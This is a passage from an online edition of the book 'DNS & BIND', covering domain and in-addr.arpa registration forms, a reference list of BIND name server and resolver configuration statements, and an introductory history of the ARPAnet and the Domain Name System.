information submitted herein is true and correct, and that any future
changes to this information will be provided to NSI in a timely manner
according to the domain name modification procedures in place at that
time. Breach of this warranty will constitute a material breach.

L.      Revocation. Registrant agrees that NSI may delete a
Registrant's domain name if this Registration Agreement, or subsequent
modification(s) thereto, contains false or misleading information, or
conceals or omits any information NSI would likely consider material
to its decision to approve this Registration Agreement.

M.      Right of Refusal. NSI, in its sole discretion, reserves the
right to refuse to approve the Registration Agreement for any
Registrant. Registrant agrees that the submission of this Registration
Agreement does not obligate NSI to accept this Registration Agreement.
Registrant agrees that NSI shall not be liable for loss or damages
that may result from NSI's refusal to accept this Registration
Agreement.

N.      Severability. Registrant agrees that the terms of this
Registration Agreement are severable. If any term or provision is
declared invalid, it shall not affect the remaining terms or
provisions which shall continue to be binding.

O.      Entirety. Registrant agrees that this Registration Agreement
and the Dispute Policy is the complete and exclusive agreement between
Registrant and NSI regarding the registration of Registrant's domain
name. This Registration Agreement and the Dispute Policy supersede all
prior agreements and understandings, whether established by custom,
practice, policy, or precedent.

P.      Governing Law. Registrant agrees that this Registration
Agreement shall be governed in all respects by and construed in
accordance with the laws of the Commonwealth of Virginia, United
States of America. By submitting this Registration Agreement,
Registrant consents to the exclusive jurisdiction and venue of the
United States District Court for the Eastern District of Virginia,
Alexandria Division. If there is no jurisdiction in the United States
District Court for the Eastern District of Virginia, Alexandria
Division, then jurisdiction shall be in the Circuit Court of Fairfax
County, Fairfax, Virginia.

Q.      This is Domain Name Registration Agreement Version
Number 4.0. This Registration Agreement is only for registrations
under top-level domains: COM, ORG, NET, and EDU. By completing
and submitting this Registration Agreement for consideration and
acceptance by NSI, the Registrant agrees that he/she has read and
agrees to be bound by A through P above.

Authorization
0a.  (N)ew (M)odify (D)elete....:
0b.  Auth Scheme................:
0c.  Auth Info..................:

1.   Comments...................:

2.   Complete Domain Name.......:

Organization Using Domain Name

3a.  Organization Name..........:
3b.  Street Address.............:
3c.  City.......................:
3d.  State......................:
3e.  Postal Code................:
3f.  Country....................:

Administrative Contact
4a.  NIC Handle (if known)......:
4b.  (I)ndividual (R)ole........:
4c.  Name (Last, First).........:
4d.  Organization Name..........:
4e.  Street Address.............:
4f.  City.......................:
4g.  State......................:
4h.  Postal Code................:
4i.  Country....................:
4j.  Phone Number...............:
4k.  Fax Number.................:
4l.  E-Mailbox..................:

Technical Contact
5a.  NIC Handle (if known)......:
5b.  (I)ndividual (R)ole........:
5c.  Name (Last, First).........:
5d.  Organization Name..........:
5e.  Street Address.............:
5f.  City.......................:
5g.  State......................:
5h.  Postal Code................:
5i.  Country....................:
5j.  Phone Number...............:
5k.  Fax Number.................:
5l.  E-Mailbox..................:

Billing Contact
6a.  NIC Handle (if known)......:
6b.  (I)ndividual (R)ole........:
6c.  Name (Last, First).........:
6d.  Organization Name..........:
6e.  Street Address.............:
6f.  City.......................:
6g.  State......................:
6h.  Postal Code................:
6i.  Country....................:
6j.  Phone Number...............:
6k.  Fax Number.................:
6l.  E-Mailbox..................:

Prime Name Server
7a.  Primary Server Hostname....:
7b.  Primary Server Netaddress..:

Secondary Name Server(s)
8a.  Secondary Server Hostname..:
8b.  Secondary Server Netaddress:

END OF AGREEMENT

For instructions, please refer to:
"http://rs.internic.net/help/instructions.txt"

Previous: C. Top-Level Domains | DNS & BIND | Next: E. in-addr.arpa Registration Form
C. Top-Level Domains | Book Index | E. in-addr.arpa Registration Form


[Appendix E] in-addr.arpa Registration Form

DNS & BIND

DNS & BINDSearch this book
Previous: D. Domain Registration Form Appendix E Next: F. BIND Name Server and Resolver Statements

E. in-addr.arpa Registration Form

This appendix contains the form used to register your in-addr.arpa domain with ARIN, the American Registry for Internet Numbers. For the most current version of this form, see http://www.arin.net/templates/inaddrtemplate.txt.

03/98

  **************** Please DO NOT REMOVE Version Number ******************

  IN-ADDR Version Number: 1.0

  ************* Please see attached detailed instructions ***************

  Registration Action Type
  0.  (N)ew (M)odify (D)elete:

  Network Information
  1a.  Network Name..................:
  1b.  Start of Network Block........:
  1c.  End of Network Block..........:

  2a.  Name of Organization..........:
  2b.  Postal address of Organization:

  Technical Contact
  3a.  ARIN-Handle (if known)........:
  3b.  Name (Last, First)............:
  3c.  Organization..................:
  3d.  Postal Address................:

  3e.  Phone Number..................:
  3f.  E-Mail Address................:

  Primary Name Server
  4a.  Primary Server Hostname.......:
  4b.  Primary Server Netaddress.....:

  Secondary Name Server(s)
  5a.  Secondary Server Hostname.....:
  5b.  Secondary Server Netaddress...:

  6.   Comments......................:

  ------------------------------- cut here ---------------------------------

GENERAL INSTRUCTIONS: REGISTERING INVERSE ADDRESSING (NAME MAPPING) WITH ARIN

The Internet uses a special domain to support gateway location and Internet
address to host mapping called In-ADDR.ARPA.  The intent of this domain is to
provide a guaranteed method to perform host address to host name mapping, and to
facilitate queries to locate all gateways on a particular network in the
Internet.  Whenever an application is used that requires user identification,
i.e., ftp, or remote login, the domain must be registered in the IN-ADDR.ARPA
zone or the application will be unable to determine the origin of the IP.

IN-ADDR domains are represented using the network number in reverse.

        EXAMPLE: The IN-ADDR domain for network 123.45.67.0 is represented as

                                67.45.123.IN-ADDR.ARPA.

        NOTE:  Please do not list your network number in reverse on your template.

Use the above template for registering new IN-ADDR entries, making changes to
existing IN-ADDR records, and removing inverse-address mapping from the ARIN
database and root servers.

The IN-ADDR template should be submitted via E-mail to ARIN at:

                hostmaster@arin.net

In order to ensure prompt and accurate processing of IN-ADDR requests, follow
precisely the instructions below.  Please do not modify the template nor remove
the version number.  IN-ADDR templates are automatically parsed.  Errors in a
template result in the template being returned for correction.

Please send only one template per message.  In the Subject of the message, use
the words: NEW IN-ADDR, MODIFY IN-ADDR, or REMOVE IN-ADDR, as appropriate.

Please do not send hardcopy registrations to ARIN.  If you do not have an E-mail
connection, you should arrange for your Internet Service Provider (ISP) to send
E-mail applications to ARIN on your behalf.

When you submit a template, you will receive an auto-reply from ARIN with a
ticket number.  The ticket number format is:

                ARIN -<year><month><day>.<queue position>.

Use the ticket number in the Subject of any message you send regarding a
registration action.  When the registration has been completed, you will be
notified via E-mail.

All ISPs receiving from ARIN /16 CIDR blocks (Class B) which are greater than or
equal to (>= )256 Class C's) will be responsible for maintaining all
IN-ADDR.ARPA domain records for their respective customers.  The ISP is
responsible for the maintenance of IN-ADDR.ARPA domain records of all longer
prefixes that have been delegated out of that block.

DETAILED INSTRUCTIONS FOR COMPLETING EACH IN-ADDR TEMPLATE FIELD

Section 0.   Registration Action Type

N) New (M) Modify (D) Delete:

(N)  New:
     For new IN-ADDR registration, place an N after the colon.

(M)  Modify:
     To modify/change an EXISTING record IN-ADDR registration, place an M after
     the colon. When "M" is selected, the current records will be replaced with
     the information listed in the template.  Please provide a complete list of
     name servers in the order in which they should appear on the record.

     If the modification involves first registering a person or name server(s)
     not entered in the database, the instructions for completing Sections 2,
     3, 4 and 5 apply.  Search the WHOIS database for more information if you
     are unsure of the current information for the technical POC or name
     server(s).

     The requested changes will be made if ARIN registry personnel determine
     that the modification request was issued by an authorized source. The
     issuing source may be a listed contact for the domain, others in the same
     organization, the current provider, or a new provider initiating network
     support.

(D)  Delete.
     To delete an existing IN-ADDR from your network record, place a D after
     the colon.  List the IN-ADDR server and IP number and it will be deleted.
     The host entry will still exist in the global host tables.

Section 1.  Network Record Information.

1a.  Network Name.
     Please supply the network name.

        NOTE:  The network name is not the domain name.

     To verify an existing Network Name, use the searchable WHOIS database.

     The Network Name is used as an identifier in Internet name and address
     tables.  To create a network name, supply a short name consisting of a
     combination of up to 12 numbers and letters for the network.  You may use
     a dash (-) as part of the Network Name, but no other special characters.
     Please do not use periods or underscores.

1b./1c.   Start/End of Network Block.

1b.  Start of Network Block.

     If the network record is for a single network, enter the IP address of
     the single network here.  Item 1c is then left blank.  If the record is
     a block of IP addresses, enter the IP address of the start of the
     network block.

1c.  End of Network Block.

     If the network record is a block of IP addresses, Item 1c will be the
     last IP address of the network block.

     If you received a block of IP addresses from your ISP, there may already
     be IN-ADDR servers on the parent block held by that provider.
     Please query your ISP before submitting an IN-ADDR request.

Section 2.  Name and Postal Address of Organization.

2a.  Name of Organization.

     The network is considered to be registered to an organization, even if
     the "organization" is an individual.  If you are an ISP submitting
     this request on behalf of your customer, please provide here the
     name and postal address of the organization that uses the IP address(es).

2b.  Postal Address of Organization.

     This is the physical address of the organization.  Place the city, state,
     and zip code together on the same line below the Street Address or Post
     Office Box.  Use a comma to separate the city and state.  Do not insert
     a period following the state abbreviation.  To change an address, please
     provide the new address information in this item, and flag the change in
     Section 6: Comments.

        EXAMPLE:

                   111 Town Center Drive
                   Herndon, VA 22070

     If the organization is located in a country other than the United States,
     please include the two-letter country code on the last line by itself.

     EXAMPLE:
               161 James Street
               Montreal, QC H2S 2C8
               CA

     For the country entry, please use the two-letter country code found at:

                URL:  [ftp://rs.arin.net/netinfo/iso3166-countrycodes]

     NOTE:  If you wish to make a change to an existing registered physical
            address of an organization, please note the change you want in
            Section 6: Comments.

Section 3.  Technical Contact

     The technical point of contact (POC) is the person responsible for
     the technical aspects of maintaining the network's name servers.
     The POC should be able to answer any utilization questions ARIN may have.

3a.  User Handle (if known)

     Each person in the ARIN database is assigned a user handle, which is a
     unique tag consisting of the user's initials and a serial number.  This
     tag is used in database records indicate a POC for a domain name, network,
     name server or other entity.  Each user should have only one handle.

     If the user handle is known, insert the handle in Item 3a and leave the
     rest of Section 3 blank.  If the user's handle is unknown or the user has
     never been registered, leave Item 3a blank.  The user's database record
     will be updated with any new information on the template.

3b.  Name (Last, First)
     Enter the name of the Technical Contact in the format:

                     Last Name, First Name.

     Separate first and last names by a comma.

3c.  Organization.

     Provide the name of the organization with which the Technical Contact
     is affiliated. Refer to the instructions for Item 2a.

3d.   Postal Address.

     Refer to the instructions for Item 2b.

Section 4.   Primary Name Server.

Networks are required to provide at least two independent servers for
translating address to name mapping for hosts in the domain.  The servers should
be in physically separate locations and on different networks, if possible.  The
servers should be active and responsive to domain name server (DNS) queries
prior to submission of this application.

ARIN requires that you provide complete information on your primary and
secondary servers in order to process your registration request. Incomplete
information in sections 4 and 5, or inactive servers will result in the return
of the registration request.

NOTE:  To change the name or the number of a registered name server, submit
       a separate IN-ADDR template requesting a modification of your IN-ADDR
       registration.  Do this by placing an M after the Modify command in
       Section 0:  Registration Action Type. New IN-ADDR registrations cannot
       be used to change the name or the number of a registered name server.

4a.  Primary Name Server Hostname.
     Please provide the fully-qualified name of the machine that is to be
     the name server.

        EXAMPLE:
                   Use "machine.domainame.com" not just "machine" or just
"domainame.com"
                   Many reverse-authentication programs will not search for the
nameserver if only the domain name is listed.

4b.  Primary Name Server Netaddress.

     It is suggested that the fourth octet of an IP address of a server
     should be neither 0 nor 255.  The remaining 254 numbers in the fourth
     octet of the IP address are valid.

Section 5.  Secondary Name Server(s)

5a./5b.  Secondary Name Server Hostname/Secondary Name Server Netaddress.

     Please refer to the instructions and examples in Items 4a./4b. above.

     Copy Section 5 as needed to include all Secondary Name Servers.
     Do not renumber or change the copied section.  A maximum of six domain
     name servers may be added to a network record.

Section 6.  Comments.

Please use Section 6 to provide ARIN with all comments and any additional
detailed updates relevant to your IN-ADDR registration not provided in Sections
0 through 5. Please provide a brief explanation for changing an organization
name or point of contact information.

Previous: D. Domain Registration Form | DNS & BIND | Next: F. BIND Name Server and Resolver Statements
D. Domain Registration Form | Book Index | F. BIND Name Server and Resolver Statements


[Appendix F] BIND Name Server and Resolver Statements

DNS & BIND

DNS & BINDSearch this book
Previous: E. in-addr.arpa Registration Form Appendix F Next: F.2 BIND Resolver Statements

F. BIND Name Server and Resolver Statements

Contents:
BIND Name Server Boot File Statements
BIND Resolver Statements

F.1 BIND Name Server Boot File Statements

Here's a handy list of all the boot file statements for the BIND name server. Some of the statements only exist in later versions, so your server may not support them yet. The version 4 statements are labeled with a specific version number (4.9.3), or if they've been around a long time, they are labeled with a generic version number (4.X.X). The version 8 statements are labeled 8.X.X.

F.1.1 directory (4.X.X)

Function:

Changes the current working directory

Syntax:
directory new-directory
Example:
directory /var/named
See also:

8.X.X options statement, directory

Covered in:

Chapter 4, Setting Up BIND

F.1.2 primary

Function:

Declares a name server as the primary master for a zone

Syntax:
primary domain-name-of-zone file
Example:
primary  movie.edu   db.movie
See also:

8.X.X zone statement, type master

Covered in:

Chapter 4

F.1.3 secondary

Function:

Declares a name server as a slave for a zone

Syntax:
secondary domain-name-of-zone ip-address-list [backup-file]
Example:
secondary  movie.edu   192.249.249.3 db.movie
See also:

8.X.X zone statement, type slave

Covered in:

Chapter 4

F.1.4 cache

Function:

Defines the name of the file from which to load the root hints (the names and addresses of the root name servers)

Syntax:
cache domain-name file
Example:
cache    .    db.cache
See also:

8.X.X zone statement, type hint

Covered in:

Chapter 4

F.1.5 forwarders

Function:

Defines name server(s) to send unresolved queries to

Syntax:
forwarders ip-address-list
Example:
forwarders 192.249.249.1 192.249.249.3
See also:

8.X.X options statement, forwarders

Covered in:

Chapter 10, Advanced Features and Security

F.1.6 sortlist

Function:

Specifies network numbers to prefer over others

Syntax:
sortlist network-list
Example:
sortlist 10.0.0.0
See also:

This feature is not supported in version 8.X.X

Covered in:

Chapter 10

F.1.7 slave

This statement is the same as the 4.9.3 statement options forward-only and the 8.X.X options statement forward.

F.1.8 include (4.9.3)

Function:

Includes the contents of another file in named.boot

Syntax:
include file
Example:
include  bootfile.primary
See also:

8.X.X include statement

Covered in:

Chapter 7, Maintaining BIND

F.1.9 stub (4.9.3)

Function:

Specifies a child zone that your server should periodically get delegation information for

Syntax:
stub domain ip-address-list [backup-file]
Example:
stub movie.edu 192.249.249.3 stub.movie
See also:

8.X.X zone statement, type stub

Covered in:

Chapter 9, Parenting

F.1.10 options (4.9.3)

F.1.10.1 options forward-only

Function:

Prevents your name server from resolving domain names independently of a forwarder

See also:

8.X.X option statement, forward

Covered in:

Chapter 10

F.1.10.2 options no-recursion

Function:

Prevents your name server from performing recursive resolution of domain names

See also:

8.X.X options statement, recursion

Covered in:

Chapter 10

F.1.10.3 options no-fetch-glue

Function:

Prevents your name server from fetching missing glue when constructing a response

See also:

8.X.X options statement, fetch-glue

Covered in:

Chapter 10

F.1.10.4 options query-log

Function:

Logs all queries received by your name server

See also:

8.X.X logging statement, category queries

Covered in:

Chapter 7 and Chapter 13, Troubleshooting DNS and BIND

F.1.10.5 options fake-iquery

Function:

Tells your name server to respond to old-fashioned inverse queries with a fake answer instead of an error

See also:

8.X.X options statement, fake-iquery

Covered in:

Chapter 11, nslookup

F.1.11 limit (4.9.3)

F.1.11.1 limit transfers-in

Function:

Restricts the total number of zone transfers your name server will attempt at any one time

See also:

8.X.X options statement, transfers-in

F.1.11.2 limit transfers-per-ns

Function:

Restricts the number of zone transfers your name server will request from any one server simultaneously

See also:

8.X.X options statement, transfers-per-ns

F.1.11.3 limit datasize

Function:

Increases the size of the data segment named uses (only works on some operating systems)

See also:

8.X.X options statement, datasize

All covered in:

Chapter 10

F.1.12 xfrnets (4.9.3)

Function:

Restricts zone transfers from your name server to a list of IP addresses or networks

Syntax:
xfrnets ip-address-or-network-list
Example:
xfrnets 15.0.0.0 128.32.0.0
See also:

8.X.X options statement, allow-transfer

Covered in:

Chapter 10

F.1.13 bogusns (4.9.3)

Function:

Tells your name server not to query a list of name servers that are known to give bad answers

Syntax:
bogusns ip-address-list
Example:
bogusns 15.255.152.4
See also:

8.X.X server statement, bogus

Covered in:

Chapter 10

F.1.14 check-names (4.9.4)

Function:

Modifies the name-checking feature

Syntax:
check-names primary/secondary/response fail/warn/ignore
Example:
check-names primary ignore
See also:

8.X.X options statement, check-names

Covered in:

Chapter 4

F.1.15 acl (8.X.X)

Function:

Creates a named address match list

Syntax:
acl name {
   address_match_list
};
Covered in:

Chapter 10

F.1.16 include (8.X.X)

Function:

Inserts the specified file at the point that the include statement is encountered

Syntax:
include path_name;
Covered in:

Chapter 7

F.1.17 key (8.1.1)

Function:

Defines a key ID which can be used in a server statement to associate an authentication method with a particular name server. The key statement is intended for future use by the server. In version 8.1.1, it is checked for syntax but is otherwise ignored

Syntax:
key key_id {
  algorithm algorithm_id;
  secret secret_string;
};

F.1.18 logging (8.X.X)

Function:

Defines the logging behavior

Syntax:
logging {
  [ channel channel_name {
    ( file path_name
       [ versions ( number | unlimited ) ]
       [ size size_spec ]
     | syslog ( kern | user | mail | daemon | auth | syslog | lpr |
                news | uucp | cron | authpriv | ftp |
                local0 | local1 | local2 | local3 |
                local4 | local5 | local6 | local7 )
     | null );

    [ severity ( critical | error | warning | notice |
                 info  | debug [ level ] | dynamic ); ]
    [ print-category yes_or_no; ]
    [ print-severity yes_or_no; ]
    [ print-time yes_or_no; ]
  }; ]

  [ category category_name {
    channel_name; [ channel_name; ... ]
  }; ]
  ...
};
Covered in:

Chapter 7

F.1.19 options (8.X.X)

Function:

Sets up global options

Syntax:
options {
  [ directory path_name; ]
  [ named-xfer path_name; ]
  [ dump-file path_name; ]
  [ pid-file path_name; ]
  [ statistics-file path_name; ]
  [ auth-nxdomain yes_or_no; ]
  [ fake-iquery yes_or_no; ]
  [ fetch-glue yes_or_no; ]
  [ multiple-cnames yes_or_no; ]
  [ notify yes_or_no; ]
  [ recursion yes_or_no; ]
  [ forward ( only | first ); ]
  [ forwarders { [ in_addr ; [ in_addr ; ... ] ] }; ]
  [ check-names ( master | slave | response ) ( warn | fail | ignore);]
  [ allow-query { address_match_list }; ]
  [ allow-transfer { address_match_list }; ]
  [ listen-on [ port ip_port ] { address_match_list }; ]
  [ query-source [ address ( ip_addr | * ) ] [ port ( ip_port | * ) ];]
  [ max-transfer-time-in number; ]
  [ transfer-format ( one-answer | many-answers ); ]
  [ transfers-in  number; ]
  [ transfers-out number; ]
  [ transfers-per-ns number; ]
  [ coresize size_spec ; ]
  [ datasize size_spec ; ]
  [ files size_spec ; ]
  [ stacksize size_spec ; ]
  [ cleaning-interval number; ]
  [ interface-interval number; ]
  [ statistics-interval number; ]
  [ topology { address_match_list }; ]
};
Covered in:

Chapter 4

Chapter 10

Chapter 15, Miscellaneous

F.1.20 server (8.X.X)

Function:

Defines the characteristics to be associated with a remote name server

Syntax:
server ip_addr {
  [ bogus yes_or_no; ]
  [ transfers number; ]
  [ transfer-format ( one-answer | many-answers
); ]
  [ keys { key_id [key_id ... ] }; ]
};
Covered in:

Chapter 10

F.1.21 zone (8.X.X)

Function:

Defines the zones maintained by the name server

Syntax:
zone domain_name [ ( in | hs | hesiod | chaos )
] {
  type master;
  file path_name;
  [ check-names ( warn | fail | ignore ); ]
  [ allow-update { address_match_list }; ]
  [ allow-query { address_match_list }; ]
  [ allow-transfer { address_match_list }; ]
  [ notify yes_or_no; ]
  [ also-notify { ip_addr; [ ip_addr; ... ] };
};

zone domain_name [ ( in | hs | hesiod | chaos )
] {
  type ( slave | stub );
  [ file path_name; ]
  masters { ip_addr; [ ip_addr; ... ] };
  [ check-names ( warn | fail | ignore ); ]
  [ allow-update { address_match_list }; ]
  [ allow-query { address_match_list }; ]
  [ allow-transfer { address_match_list }; ]
  [ max-transfer-time-in number; ]
  [ notify yes_or_no; ]
  [ also-notify { ip_addr; [ ip_addr; ... ] };
};

zone . [ ( in | hs | hesiod | chaos ) ] {
  type hint;
  file path_name;
  [ check-names ( warn | fail | ignore ); ]
};
Covered in:

Chapter 4

Chapter 10

Previous: E. in-addr.arpa Registration Form | DNS & BIND | Next: F.2 BIND Resolver Statements
E. in-addr.arpa Registration Form | Book Index | F.2 BIND Resolver Statements


[Appendix F] F.2 BIND Resolver Statements

DNS & BIND

DNS & BINDSearch this book
Previous: F.1 BIND Name Server Boot File Statements Appendix F
BIND Name Server and Resolver Statements

F.2 BIND Resolver Statements

The following statements are for the resolver configuration file, /etc/resolv.conf.

F.2.1 domain

Function:

Defines your resolver's default domain

Syntax:
domain domain-name
Example:
domain corp.hp.com
Covered in:

Chapter 6, Configuring Hosts

F.2.2 search (4.8.3 and later versions)

Function:

Defines your resolver's default domain and search list

Syntax:
search default-domain next-domain-in-search-list
... last-domain- in-search-list
Example:
search corp.hp.com pa.itc.hp.com hp.com
Covered in:

Chapter 6

F.2.3 nameserver

Function:

Tells your resolver to query a particular name server

Syntax:
nameserver IP-address
Example:
nameserver 15.255.152.4
Covered in:

Chapter 6

F.2.4 ; and # (4.9.3 and later versions)

Function:

Adds a comment to the resolver configuration file

Syntax:
; free-format-comment

or

# free-format-comment
Example:
# Added parent domain to search list for compatibility
with 4.8.3
Covered in:

Chapter 6

F.2.5 sortlist (4.9.3 and later versions)

Function:

Specifies network numbers for your resolver to prefer

Syntax:
sortlist network-list
Example:
sortlist 128.32.4.0/255.255.255.0 15.0.0.0
Covered in:

Chapter 6

F.2.6 options ndots (4.9.3 and later versions)

Function:

Specifies the number of dots an argument must have in it so that the resolver will look it up before applying the search list

Syntax:
options ndots:number-of-dots
Example:
options ndots:1
Covered in:

Chapter 6

F.2.7 options debug (4.9.3 and later versions)

Function:

Turns on debugging output in the resolver

Syntax:
options debug
Example:
options debug
Covered in:

Chapter 6

Previous: F.1 BIND Name Server Boot File Statements | DNS & BIND
F.1 BIND Name Server Boot File Statements | Book Index


[Chapter 1] Background

DNS & BIND

DNS & BINDSearch this book
Previous: Acknowledgments Chapter 1 Next: 1.2 On the Internet and internets

1. Background

Contents:
A (Very) Brief History of the Internet
On the Internet and internets
The Domain Name System, in a Nutshell
The History of BIND
Must I Use DNS?

The White Rabbit put on his spectacles. "Where shall I begin, please your Majesty?" he asked.

"Begin at the beginning," the King said, very gravely, "and go on till you come to the end: then stop."

It's important to know a little ARPAnet history to understand the Domain Name System (DNS). DNS was developed to address particular problems on the ARPAnet, and the Internet - a descendant of the ARPAnet - remains its main user.

If you've been using the Internet for years, you can probably skip this chapter. If you haven't, we hope it'll give you enough background to understand what motivated the development of DNS.

1.1 A (Very) Brief History of the Internet

In the late 1960s, the U.S. Department of Defense's Advanced Research Projects Agency, ARPA (later DARPA), began funding an experimental wide area computer network that connected important research organizations in the U.S., called the ARPAnet. The original goal of the ARPAnet was to allow government contractors to share expensive or scarce computing resources. From the beginning, however, users of the ARPAnet also used the network for collaboration. This collaboration ranged from sharing files and software and exchanging electronic mail - now commonplace - to joint development and research using shared remote computers.

The TCP/IP (Transmission Control Protocol/Internet Protocol) protocol suite was developed in the early 1980s, and quickly became the standard host-networking protocol on the ARPAnet. The inclusion of the protocol suite in the University of California at Berkeley's popular BSD UNIX operating system was instrumental in democratizing internetworking. BSD UNIX was virtually free to universities. This meant that internetworking - and ARPAnet connectivity - were suddenly available cheaply to many more organizations than were previously attached to the ARPAnet. Many of the computers being connected to the ARPAnet were being connected to local networks, too, and very shortly the other computers on the local networks were communicating via the ARPAnet as well.

The network grew from a handful of hosts to a network of tens of thousands of hosts. The original ARPAnet became the backbone of a confederation of local and regional networks based on TCP/IP, called the Internet.

In 1988, however, DARPA decided the experiment was over. The Department of Defense began dismantling the ARPAnet. Another network, funded by the National Science Foundation and called the NSFNET, replaced the ARPAnet as the backbone of the Internet.

Even more recently, in the spring of 1995, the Internet made a transition from using the publicly-funded NSFNET as a backbone to using multiple commercial backbones, run by long-distance carriers like MCI and Sprint, and long-time commercial internetworking players like PSINet and UUNET.

Today, the Internet connects millions of hosts around the world. In fact, a significant proportion of the non-PC computers in the world are connected to the Internet. Some of the new commercial backbones can carry a volume of 622 megabits per second, over ten thousand times the bandwidth of the original ARPAnet. Tens of millions of people use the network for communication and collaboration daily.

Previous: Acknowledgments | DNS & BIND | Next: 1.2 On the Internet and internets
Acknowledgments | Book Index | 1.2 On the Internet and internets


[Chapter 1] 1.2 On the Internet and internets

DNS & BIND

DNS & BINDSearch this book
Previous: 1.1 A (Very) Brief History of the Internet Chapter 1
Background 		Next: 1.3 The Domain Name System, in a Nutshell

1.2 On the Internet and internets

A word on "the Internet," and on "internets" in general, is in order. In print, the difference between the two seems slight: one is always capitalized, one isn't. The distinction between their meanings, however, is significant. The Internet, with a capital "I," refers to the network that began its life as the ARPAnet and continues today as, roughly, the confederation of all TCP/IP networks directly or indirectly connected to commercial U.S. backbones. Seen close up, it's actually quite a few different networks - commercial TCP/IP backbones, regional TCP/IP networks, corporate and U.S. government TCP/IP networks, and TCP/IP networks in other countries - interconnected by high-speed digital circuits.

A lowercase internet, on the other hand, is simply any network made up of multiple smaller networks using the same internetworking protocols. An internet (little "i") isn't necessarily connected to the Internet (big "I"), nor does it necessarily use TCP/IP as its internetworking protocol. There are isolated corporate internets, and there are Xerox XNS-based internets and DECnet-based internets.

The new term "intranet" is really just a marketing term for a TCP/IP-based "little i" internet, used to emphasize the use of technologies developed and introduced on the Internet within a company's internal corporate network. An "extranet," on the other hand, is an internet that connects partner companies, or a company to its distributors, suppliers, and customers.

1.2.1 The History of the Domain Name System

Through the 1970s, the ARPAnet was a small, friendly community of a few hundred hosts. A single file, HOSTS.TXT, contained all the information you needed to know about those hosts: it held a name-to-address mapping for every host connected to the ARPAnet. The familiar UNIX host table, /etc/hosts, was compiled from HOSTS.TXT (mostly by deleting fields that UNIX didn't use).

HOSTS.TXT was maintained by SRI's Network Information Center (dubbed "the NIC") and distributed from a single host, SRI-NIC.[1] ARPAnet administrators typically emailed their changes to the NIC, and periodically ftped to SRI-NIC and grabbed the current HOSTS.TXT. Their changes were compiled into a new HOSTS.TXT once or twice a week. As the ARPAnet grew, however, this scheme became unworkable. The size of HOSTS.TXT grew in proportion to the growth in the number of ARPAnet hosts. Moreover, the traffic generated by the update process increased even faster: every additional host meant not only another line in HOSTS.TXT, but potentially another host updating from SRI-NIC.

[1] SRI is the Stanford Research Institute in Menlo Park, California. SRI conducts research into many different areas, including computer networking.

And when the ARPAnet moved to the TCP/IP protocols, the population of the network exploded. Now there was a host of problems with HOSTS.TXT:

Traffic and load

The toll on SRI-NIC, in terms of the network traffic and processor load involved in distributing the file, was becoming unbearable.

Name collisions

No two hosts in HOSTS.TXT could have the same name. However, while the NIC could assign addresses in a way that guaranteed uniqueness, it had no authority over host names. There was nothing to prevent someone from adding a host with a conflicting name and breaking the whole scheme. Someone adding a host with the same name as a major mail hub, for example, could disrupt mail service to much of the ARPAnet.

Consistency

Maintaining consistency of the file across an expanding network became harder and harder. By the time a new HOSTS.TXT could reach the farthest shores of the enlarged ARPAnet, a host across the network had changed addresses, or a new host had sprung up that users wanted to reach.

The essential problem was that the HOSTS.TXT mechanism didn't scale well. Ironically, the success of the ARPAnet as an experiment led to the failure and obsolescence of HOSTS.TXT.

The ARPAnet's governing bodies chartered an investigation into a successor for HOSTS.TXT. Their goal was to create a system that solved the problems inherent in a unified host table system. The new system should allow local administration of data, yet make that data globally available. The decentralization of administration would eliminate the single-host bottleneck and relieve the traffic problem. And local management would make the task of keeping data up-to-date much easier. It should use a hierarchical name space to name hosts. This would ensure the uniqueness of names.

Paul Mockapetris, then of USC's Information Sciences Institute, was responsible for designing the architecture of the new system. In 1984, he released RFCs 882 and 883, which describe the Domain Name System. These RFCs were superseded by RFCs 1034 and 1035, the current specifications of the Domain Name System.[2] RFCs 1034 and 1035 have now been augmented by many other RFCs, which describe potential DNS security problems, implementation problems, administrative gotchas, mechanisms for dynamically updating name servers and for securing domain data, and more.

[2] RFCs are Request for Comments documents, part of the relatively informal procedure for introducing new technology on the Internet. RFCs are usually freely distributed and contain fairly technical descriptions of the technology, often intended for implementors.

Previous: 1.1 A (Very) Brief History of the Internet | DNS & BIND | Next: 1.3 The Domain Name System, in a Nutshell
1.1 A (Very) Brief History of the Internet | Book Index | 1.3 The Domain Name System, in a Nutshell


[Chapter 1] 1.3 The Domain Name System, in a Nutshell

DNS & BIND

DNS & BINDSearch this book
Previous: 1.2 On the Internet and internets Chapter 1
Background 		Next: 1.4 The History of BIND

1.3 The Domain Name System, in a Nutshell

The Domain Name System is a distributed database. This allows local control of the segments of the overall database, yet data in each segment are available across the entire network through a client-server scheme. Robustness and adequate performance are achieved through replication and caching.

Programs called name servers constitute the server half of DNS's client-server mechanism. Name servers contain information about some segment of the database and make it available to clients, called resolvers. Resolvers are often just library routines that create queries and send them across a network to a name server.

The structure of the DNS database, shown in Figure 1.1, is very similar to the structure of the UNIX filesystem. The whole database (or filesystem) is pictured as an inverted tree, with the root node at the top. Each node in the tree has a text label, which identifies the node relative to its parent. This is roughly analogous to a "relative pathname" in a filesystem, like bin. One label - the null label, or "" - is reserved for the root node. In text, the root node is written as a single dot ("."). In the UNIX filesystem, the root is written as a slash ("/").

Figure 1.1: The DNS database versus a UNIX filesystem

Each node is also the root of a new subtree of the overall tree. Each of these subtrees represents a partition of the overall database - a "directory" in the UNIX filesystem, or a domain in the Domain Name System. Each domain or directory can be further divided into additional partitions, called subdomains in DNS, like a filesystem's "subdirectories." Subdomains, like subdirectories, are drawn as children of their parent domains.

Every domain has a unique name, like every directory. A domain's domain name identifies its position in the database, much as a directory's "absolute pathname" specifies its place in the filesystem. In DNS, the domain name is the sequence of labels from the node at the root of the domain to the root of the whole tree, with "." separating the labels. In the UNIX filesystem, a directory's absolute pathname is the list of relative names read from root to leaf (the opposite direction to DNS, as shown in Figure 1.2), using a slash to separate the names.

Figure 1.2: Reading names in DNS and in a UNIX filesystem

In DNS, each domain can be administered by a different organization. Each organization can then break its domain into a number of subdomains and dole out responsibility for those subdomains to other organizations. For example, the InterNIC runs the edu (educational) domain, but assigns U.C. Berkeley authority over the berkeley.edu subdomain (Figure 1.3). This is something like remotely mounting a filesystem: certain directories in a filesystem may actually be filesystems on other hosts, mounted from a remote host. The administrator on host winken, for example (again, Figure 1.3), is responsible for the filesystem that appears on the local host as the directory /usr/nfs/winken.

Figure 1.3: Remote management of subdomains and of filesystems

